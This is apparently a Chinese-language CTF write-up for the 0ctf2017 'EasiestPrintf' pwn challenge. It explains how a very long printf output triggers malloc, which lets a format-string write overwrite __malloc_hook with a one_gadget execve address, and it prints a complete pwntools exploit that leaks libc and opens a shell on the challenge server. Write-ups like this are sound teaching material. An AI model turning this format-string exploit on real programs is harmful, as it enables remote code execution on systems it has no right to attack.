BUU-0ctf2017_easiestprintf-WP

Posted on Dec 11, 2020

明天就考四级了,前几天也是事情一大堆,还有个2077,昨天甚至没有写题,考虑到我岌岌可危的绩点,我现在准备放慢pwn学习的节奏了,之前花的时间挺多的,投入到数学上的时间也确实太有限了。之后就考虑每天刷道水题维持下手感吧,新的知识看着学,如果没新知识WP也就只简单地贴个exp吧。虽然在寒假前没有啃下堆有点遗憾,但是也只好这样了。

这道题呢其实我没有做出来,名字取得就很劝退,看WP的时候也都说这题简单,有一点受伤呜呜呜。此题主要的是开启了full reload,所以无法hijack got,查阅wp才知道printf在输出的字符串太长(经我测试,长为五万的时候还不算太长,十万左右就算太长了,这个是没有明确限定的,应该是在处理格式化占位符的输出的时候会考虑调用,这里前两个格式化占位符进行覆写,不会调用malloc,最后一个格式化占位符实现调用)的时候会调用malloc来申请一些空间来缓冲,并在输出完后free掉。所以这里我们可以考虑通过输出过长的字符串先劫持__malloc_hook或者__free_hook(当钩子在不为零时,malloc和free就会call对应的钩子)并执行之。libc我通过之前的泄露点泄露了两个函数的低十二位用Libcdatabase找了出来,直接使用one_gadget找到execve。我先尝试了free_hook,失败了,用malloc_hook就可以了(具体的原因不太了解,one_gadget找出的确实容易出现问题,过于依赖这个也确实不是好习惯)。最后的exp

from pwn import *                                                                            
context(log_level = 'debug')                                                                 
                                                                                             
Libc = ELF("./libc.so")                                                                      
elf = ELF("./EasiestPrintf")                                                                 
                                                                                             
sh = remote("node3.buuoj.cn","29224")                                                        
#sh = process(['./EasiestPrintf'],env={"LD_PRELOAD":"./libc.so"})                            
read_got = elf.got["read"]                                                                   
                                                                                             
sh.sendlineafter("Which address you wanna read:\n",str(read_got))                            
read_addr = int(sh.recvuntil('\n',drop = True),base = 16)                                    
print hex(read_addr)                                                                         
                                                                                             
libc_base = read_addr - Libc.symbols["read"]                                                 
execv_addr = libc_base + 0x3a812                                                             
malloc_hook_got = libc_base + Libc.symbols["__malloc_hook"]                                  
                                                                                             
if (execv_addr&0xffff) > (execv_addr>>16):                                                   
    payload = p32(malloc_hook_got) + p32(malloc_hook_got + 2)                                
    payload += '%' + str((execv_addr>>16) - 8) + 'c' + '%8$hn'                               
    payload += '%' + str((execv_addr&0xffff) - (execv_addr>>16)) + 'c' + '%7$hn' + '%100000c'  
else:                                                                                        
    payload = p32(malloc_hook_got) + p32(malloc_hook_got + 2)                                
    payload += '%' + str((execv_addr&0xffff) - 8) + 'c' + '%7$hn'                            
    payload += '%' + str((execv_addr>>16) - (execv_addr&0xffff)) + 'c' + '%8$hn' + '%100000c'  
                                                                                             
sh.sendline(payload)                                                                         
sh.interactive()                                                                               

这一篇写的很简陋,也确实是没什么时间